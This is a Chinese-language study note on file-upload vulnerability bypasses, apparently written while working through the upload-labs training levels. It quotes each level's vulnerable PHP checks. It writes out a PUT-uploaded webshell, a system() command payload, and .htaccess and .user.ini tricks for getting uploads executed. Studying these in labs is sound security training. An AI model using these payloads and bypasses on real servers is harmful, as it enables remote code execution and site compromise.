思路
upload-labs关卡
php.ini文件配置上传限制 php.ini文件php7.4默认文件上传最大是2m 在
1 upload_max_filesize=要上传最大的文件
上发最多默认是20
1 max_file_uploads = 要可以连续发送几个
$_FILES上传参数 我们上发的文件都是用$_FILES来获得的里面有参数 用print_r()来查看一下 a.html代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html > <head > <meta charset ="utf-8" > <title > 文件上发</title > </head > <body > <form action ="a.php" method ="post" enctype ="multipart/form-data" > <label for ="file" > 要上发的文件名:</label > <input type ="file" name ="wj" id ="file" > <br > <input type ="submit" name ="submit" value ="点击提交" > </form > </body > </html >
a.php代码
$_FILES是一个数组他保留这上传文件信息
burp抓包
可以看见数组
我们就可以单独的数组进行显示
1 2 3 4 5 $_FILES["file"]["name"] - 被上传文件的名称 $_FILES["file"]["type"] - 被上传文件的类型 $_FILES["file"]["size"] - 被上传文件的大小,以字节计 $_FILES["file"]["error"] - 由文件上传导致的错误代码0是就是没有报错 $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
我们就可以写个a.php代码为
1 2 3 4 5 6 7 <?php echo "上传:" . $_FILES["wj" ]["name" ] . "<br />" ; echo "类型:" . $_FILES["wj" ]["type" ] . "<br />" ; echo "大小: " . $_FILES["wj" ]["size" ] . "<br />" ; echo "报错代码:" . $_FILES["wj" ]["error" ]."<br />" ; echo "存储在: " . $_FILES["wj" ]["tmp_name" ]; ?>
结果
文件移动 move_uploaded_file()函数 这个函数有两个参数
第一个猜数 必需。规定要移动的文件。
第二个参数 必需。规定文件的新位置。 a.html代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html > <head > <meta charset ="utf-8" > <title > 文件上发</title > </head > <body > <form action ="a.php" method ="post" enctype ="multipart/form-data" > <label for ="file" > 要上发的文件名:</label > <input type ="file" name ="wj" id ="file" > <br > <input type ="submit" name ="submit" value ="点击提交" > </form > </body > </html >
a.php代码
1 2 3 4 5 <?php $a="C:\phpstudy_pro\WWW\sq\a.png" ; move_uploaded_file($_FILES["wj" ]["tmp_name" ],$a); echo "文件在" .$a; ?>
安全上发文件 is_uploaded_file()函数 里面有一个参数必填,是文件名 如果 file 所给出的文件是通过 HTTP POST 上传的则返回 TRUE。
该函数可以用于确保恶意的用户无法欺骗脚本去访问本不能访问的文件,例如 /etc/passwd。
这种检查显得格外重要,如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。 如
1 2 is_uploaded_file($_FILES["wj" ]["tmp_name" ])
教程看的https://www.bilibili.com/video/BV1K741147FY 里面的有很多没有说直接绕过了就很烦,但是这个教程内容很丰富。教程里面修改东西的我也不知道什么意思他也不说就很烦,我就自己百度找然后都写到笔记里面了
文件上传绕过思路在这个地方找到https://www.bilibili.com/read/cv6978946/
PUT 方法文件上发 判断目标开没有开启PUT 方法
向指定资源位置上传其最新内容
PUT请求的说明
http有八种请求方法
HTTP1.0定义了三种请求方法: GET, POST 和 HEAD方法。
HTTP1.1新增了五种请求方法:OPTIONS, PUT, DELETE, TRACE 和 CONNECT 方法
PUT方法可以向指定资源位置上传其最新内容
HTTP PUT方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件
开启PUT 打开Apache配置文件httpd.conf ,在上面添加
找到下面的然后叫注释去掉,加载modules/mod_dav.so和modules/mod_dav_fs.so模块
LoadModule加载特定的DSO模块
1 2 #LoadModule dav_module modules/mod_dav.so #LoadModule dav_fs_module modules/mod_dav_fs.so
<Directory />添加DAV On
在配置文件的最上面添加,注意一点要最上面
1 DavLockDB C:\phpStudy\PHPTutorial\WWW\a
然后重启服务
查看有没有开启PUT请求 下面查看有什么方法里面是没有写PUT的请求的
官方说明:HTTP 的 OPTIONS 方法 用于获取目的资源所支持的通信选项
可以用options可以获得服务器支持的所有HTTP方法
在终端输入
然后在输入
1 2 OPTIONS / HTTP/1.1 Host: 192.168.1.138:8017
用nc也可以
用nikto可以探测对方是否开启了PUT方法
nikto -h 目标地址tomcat” password=”s3cret
PUT的响应 如果目标资源不存在,并且PUT方法成功创建了一个,那么源头服务器必须返回201 ( Created)来通知客户端资源已经创建。
1 2 HTTP/1.1 201 Created Content-Location: /new.html
如果目标资源已经存在,并且按照请求中封装的表现形式进行了成功更新,那么,源头服务器必须返回200 ( OK) 或者204 ( No Content) 来表示请求的成功完成。
1 2 HTTP/1.1 204 No Content Content-Location: /existing.html
OPTIONS / HTTP/1.1 Host: 目标地址
用PUT请求上发文件 用burp发起PUT请求上发webshell到/a/a.php
1 2 3 4 5 6 PUT /a/a.php HTTP/1.1Host : 192.168.31.160<?php system($_GET['cmd']); ?>
可以看见返回的是201
我们访问执行命令
可以看见执行了命令
前端检查绕过 删除前端代码绕过 有web服务器,文件上发检查只在前端js来检查,如检查文件后缀名来判断上发的文件
upload-labs第一关 比如upload-labs第一关
下面是他的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile ( ) { var file = document .getElementsByName('upload_file' )[0 ].value; if (file == null || file == "" ) { alert("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring(file.lastIndexOf("." )); if (allow_ext.indexOf(ext_name + "|" ) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false ; } }
我们直接发送.php文件
看一下页面源代码
他会调用 checkFile()函数
我们只需要叫html的调用的标签删除就可以了
我把他删除
然后我们发照片
上传成功
修改文件名绕过 比如upload-labs的第一关
上发一个phpinfo.php文件里面内容
1 2 3 4 <?php echo phpinfo();?>
我们叫.php文件改成.png格式
改成png
用burp抓一下
叫文件名改.php
可以看见文件上传成功
访问地址
大小写绕过 比如对方服务器过滤了很多后缀的文件但是没有过大小写
我写了一个简单的验证是不是php文件
代码
a.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > </title > </head > <body > <form action ="a.php" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="wj" id ="file" > <br > <input type ="submit" name ="submit" value ="点击提交" > </form > </body > </html >
a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php header("Content-type: text/html; charset=utf-8" ); $b=$_FILES["wj" ]["name" ]; $c=explode('.' ,$b)[1 ]; if ($c=='php' ){ echo "请不要上传php文件" ; }else { echo "w文件名字" .$b.'<br/>' ; $a=".\\Upload\\" .$b; move_uploaded_file($_FILES["wj" ]["tmp_name" ],$a); echo "文件在" .$a.'<br/>' ; } ?>
我们上传一个php文件
结果
我们就可以用大小写绕过下面我叫phpinfo.php文件改成phpinfo.Php
upload-labs第六关
这个我测试过linux好像不行
看一下源代码:可以看见没有叫上传的文件名转换小写没有过滤大小写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我们就可以用大小写绕过下面我叫phpinfo.php文件改成phpinfo.Php
文件内容
上传
文件类型绕过 application/x-php是mime类型
下面是在百度上找到文件类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 *.php application/x-php *.gif image/gif *.html text/html *.jpeg image/jpeg *.jpg image/jpeg *.js text/javascript, application/javascript *.mp3 audio/mpeg *.mp4 audio/mp4, video/mp4 *.pdf application/pdf *.png image/png *.ppt application/vnd.ms-powerpoint *.txt text/plain *.xml text/xml, application/xml *.zip aplication/zip
下面这个照片的括住的就是文件的类型
Content-Type:字段就是指定文件类型的image/png就是png类型的
文件类型可以用mimetype命令来查看
格式
咧
如果我们叫php文件名改成png用mimetype命令检查还是显示php类型 列
下面我叫phpinfo.php 文件改成phpinfo.png 文件
用mimetype来检查
可以看见还是php类型
upload-labs第二关 演示在比如upload-labs的第二关
上发一个phpinfo.php文件里面内容
他就会报文件类型不正确
用burp抓包叫文件名改成png
发现还是文件上传不正确
在选择一个php文件上传
用burp抓包,然后我们叫修改文件的类型改成image/png 就是png 类型
然后文件上传成功
黑名单绕过 参考https://zhuanlan.zhihu.com/p/54596666
比如不允许上传的格式后缀,asp php jsp aspx cgi war 等
如果php phtml..没有定义到后名单里,可以用这格式绕过限制,依旧可以达到效果
Web系统可能会采用黑名单的方式进行过滤。而过滤的方式存在一定的缺陷,比如存在过滤的黑名单不全,未考虑大小写,以及对上传文件名单次进行敏感字符清除
语言可解析后缀 :这个要看目标的配置要有没有配置了没有配置上传也没有用
1 2 3 4 |:--|:--| |asp/aspx|asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr| |php|php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml| |jsp|jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml|
这个phpstudy2018的可以phpstudy_pro不行
修改配置文件httpd.conf文件这<IfModule mime_module>.......</IfModule>
注释去掉添加自己要添加的
upload-labs第三关 演示在比如upload-labs第三关
演示
看一下源代码,可以没有没有过滤php5,php4,php3,php2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
phpinfo.php5文件内容
上传
文件上传之 .htaccess文件 .htaccess文件介绍
htaccess是超文本访问(Hypertext Access)的缩写,是一个基于Apache的Web服务器使用的配置文件,他会控制它所在的目录以及该目录下的所有子目录
通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
htaccess他在那目录都可以有这个文件,他会在当前目录生效
.htaccess这个文件是伪静态文件,一个网站明明是.php你会发现他的是.html,他会修改解析的规则
代码:下面代码意思就是,会吧aaaa.jpg当做成php来解析
1 2 3 <FilesMatch "aaaa.jpg" > SetHandler application/x-httpd-php </FilesMatch>
upload-labs第四关
linux 好像可以宝塔我测试了不知道什么原因不行
演示在比如upload-labs的第四关
代码:可以看见过滤的东西非常多但是就是没有过滤.htaccess文件,我们就上传.htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我创建一个.htaccess文件内容,下面代码意思就是,会吧phpinfo.jpg当做成php来解析
1 2 3 <FilesMatch "phpinfo.jpg" > SetHandler application/x-httpd-php </FilesMatch>
phpinfo.jpg文件内容
叫.htaccess文件上传上去
可以看见上传成功
叫phpinfo.jpg文件上传上去
然后我们访问phpinfo.jpg,会吧phpinfo.jpg`当做成php来解析
文件上传之.user.ini文件上传 参考https://blog.csdn.net/u014029795/article/details/117252533
参考https://www.freebuf.com/articles/web/287193.html
.user.ini文件介绍 php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门
这一关和04传.htaccess文件相似,.user.ini配置文件和.htaccess文件相似,.htaccess可以覆盖apache的配置文件,.user.ini则可以覆盖php.ini的配置
.htaccess:apahce能用,不能用于iis和nginx等中间件
.user.ini和.htaccess都是目录的配置文件
.user.ini的有两个配置,可以用来制造后门
auto_append_file和auto_prepend_file官方文档https://www.php.net/manual/zh/ini.list.php
auto_append_file:指定在主文件之后自动解析的文件。 该文件被包含
auto_prepend_file:指定在主文件之前自动解析的文件。 该文件被包含
他们类似require调研其他文件代码使用,载入文件时,它会作为PHP文件的一部分被执行,
我们访问php文件他就会当做php文件执行
.user.ini两个配置,其中一个就可以
1 2 3 auto_prepend_file = a.jpg //调研a.jpg文件代码使用,包含在文件头 auto_append_file = a.jpg //调研a.jpg文件代码使用,包含在文件尾 我们访问php文件他就会当做php文件执行调研a.jpg文件代码
upload-labs第五关
用nginx软件服务器
我们看一下关卡提示他说有一个readme.php文件
看一下源代码:他并没有过滤.user.ini文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
创建.user.ini文件内容
1 auto_prepend_file=aaaaa.jpg //调研aaaaa.jpg文件代码使用,包含在文件头
aaaaa.jpg文件内容
上传aaaaa.jpg文件:可以看见是不能执行的
我们上传.user.ini
我们就可以访问readme.php他会.user.ini配置文件
可以看见aaaaa.jpg里面的代码被执行了
空格绕过
windows等系统下文件后缀加空格命名之后是默认自动删除空格,我们就可以利用这个特性绕过验证
upload-labs第七关
linux 好像不行我测试linux靶场不行
演示在比如upload-labs第七关
看一下源代码:没有删除空格的特性,就是没有过滤空格
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES['upload_file' ]['name' ]; $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我们上传文件phpinfo.php,用burp抓包修改值:后面添加上空格
上传成功
可以看见上传后的文件空格已经被删除了
访问
点绕过
同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格 我们就可以利用这个特性绕过验证
upload-labs第八关
linux 好像不行我测试linux靶场不行
看一下源代码:可以看见他没有过滤.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我们上传文件phpinfo.php,用burp抓包修改值:后面添加上.
可以看见上传后的文件空格已经被删除了
访问
::$DATA上传 参考https://blog.csdn.net/weixin_44032232/article/details/109005766
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
据我了解 参考https://www.codenong.com/cs106798969/
参考https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams
参考https://owasp.org/www-community/attacks/Windows_alternate_data_stream
NTFS 文件系统包括对备用数据流的支持。这不是一个众所周知的功能,主要是为了提供与 Macintosh 文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在 Windows 中,此默认数据流称为:$DATA
Windows 资源管理器不提供查看文件中有哪些备用数据流的方法(或在不删除文件的情况下删除它们的方法),但可以轻松创建和访问它们。因为它们很难找到,所以黑客经常使用它们来隐藏他们已经入侵的机器上的文件(可能是 rootkit 的文件)。备用数据流中的可执行文件可以从命令行执行,但它们不会显示在 Windows 资源管理器(或控制台)中。有关创建和访问备用数据流的信息,请参考示例 1
从 Windows shell 命令行指定时,流的全名是“文件名:流名称:流类型”,如以下示例所示:“myfile.dat:stream1:$DATA”。
任何对文件名合法的字符对流名也合法,包括空格。有关详细信息,请参阅命名文件。流类型(也称为属性类型代码)在 NTFS 文件系统内部。因此,用户不能创建新的流类型,但他们可以打开现有的 NTFS 文件系统类型。流类型说明符值始终以美元符号 ($) 开头。请参阅下面的流类型列表。
默认情况下,默认数据流是未命名的。要完全指定默认数据流,请使用“文件名::$DATA”,其中 $DATA 是流类型。这相当于“文件名”。您可以使用文件命名约定在文件中创建命名流。请注意,“$DATA”是合法的流名称。例如,名为“ sample ”的文件上名为“$DATA”的流的全名将是“ sample :$DATA:$DATA”。如果您在同一个文件上创建了一个名为“bar”的流,它的全名将是“ sample :bar:$DATA”。
创建和使用具有单字符名称的文件时,请在文件名前加上句点,后跟反斜杠 (.),或使用完全限定的路径名。这样做的原因是 Windows 将单字符文件名视为驱动器号。当使用相对路径指定驱动器号时,冒号将驱动器号与路径分开。当单字符名称是驱动器号还是文件名存在歧义时,如果冒号后面的字符串是有效路径,Windows 会假定它是驱动器号,即使驱动器号无效也是如此
Windows ::$DATA绕过只能用于Windows,Windows下NTFS文件系统有一个特性,即NTFS文件系统在存储数据流的一个属性DATA时,是请求a.php本身的数据。如果a.php还包含了其他的数据流,比如a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。简单来说,就是在数据后面加上::$DATA实现绕过,fox.php::$DATA返回fox.php数据
显示代码绕过访问 :$DATA 备用数据流:
http://www.alternate-data-streams.com/default.asp::$DATA
在易受攻击的版本中,IIS 将此文件的扩展名解析为 asp::$DATA,而不是 ASP。因此,与 ASP 扩展关联的应用程序没有被调用,并且攻击者可以查看 ASP 源代码
这道题利用的是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据
upload-labs第九关 演示在比如upload-labs的第九关
这个只能windows可以
源代码:可以看见没有::$DATA过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我们上传一个文件用burp抓包
叫原来的phpinfo.php改成phpinfo.php::$DATA
上传成功
我们访问叫后面的::$DATA去掉
看一下
上传的文件
多写绕过
同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格 我们就可以利用这个特性绕过验证
这个名字是我自己想的
这个意思就是比如目标服务器上传的时候回删除比如我们的空格和点,我们就没有办法上传点了来绕过了,其实是可以用多点,应为他只删除一次,我们就可以多写绕过
upload-labs第十关 我们看一下源代码
第7行$file_name = deldot($file_name);
第八行$file_ext = strrchr($file_name, ‘.’); //删除文件名末尾的点
第十一行 $file_ext = trim($file_ext); //首尾去空 他会删除一次文件的名字后面的空格
也就是他会删除点和空格但是他只会删除一次
我们就可以后面添加点空格点他会删除点和空格,那最后的点就不会删除
列
同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格 我们就可以利用这个特性绕过验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
我们上传文件用burp抓包后面添加上. .
上传成功
内容绕过 检查<?php绕过 上传内容不能有php的字符
可以看见下面有php这字符就不能上传
我们就可以用下面这几个方法
1 2 3 <? echo '123' ;?> <?= (表达式)?> <% echo '123' ;%>
用这个<?=(表达式)?>
检查<?php、$_POST[]绕过 会检查文件内容是否有$_POST[]
看下面他上传不了
我们可以用$_POST{}来检查绕过
检查<?php、$_POST[]、eval绕过 可以用system
使用反引号运算符的效果与函数 shell_exec()相同
1 2 3 4 5 .user.ini:auto_prepend_file=test.png test.png:<?=system('tac ../fl*')?> test.png:<? echo `tac /var/www/html/f*`?>
检查<?php、$_POST[]、eval和system绕过 可以看见什么都检查了
我们可以利用
检查<?php、$_POST[]、eval、system和.绕过 目标过滤点我们可以用文件包含其他地址比如http://1.1.1.1但是地址也有点我们可以用长地址转换
在这个地址转换:在线ip转int,ip转数字-BeJSON.com
127.0.0.1转换成2130706433
看小迪的视频教程的第32个视频的第1分钟52秒 双写绕过 目标的代码会删除指定的文件名比如php,asp等从而达到现在文件上传的类型,我们就可以用这个双写绕过达到绕过
upload-labs第十一关 看一下源代码
下面的代码他会指定删除文件后缀带有 $deny_ext数组里面的,比如我们上传a.php然后后面带$deny_ext里面的内容他就替换为空,下面用的是str_ireplace()这个函数
str_ireplace()函数替换字符串中的一些字符(不区分大小写)
他只删除一次我们就可以通过,双写绕过来绕过
比如
a.php会变成a.
a.pphphp会变成a.php
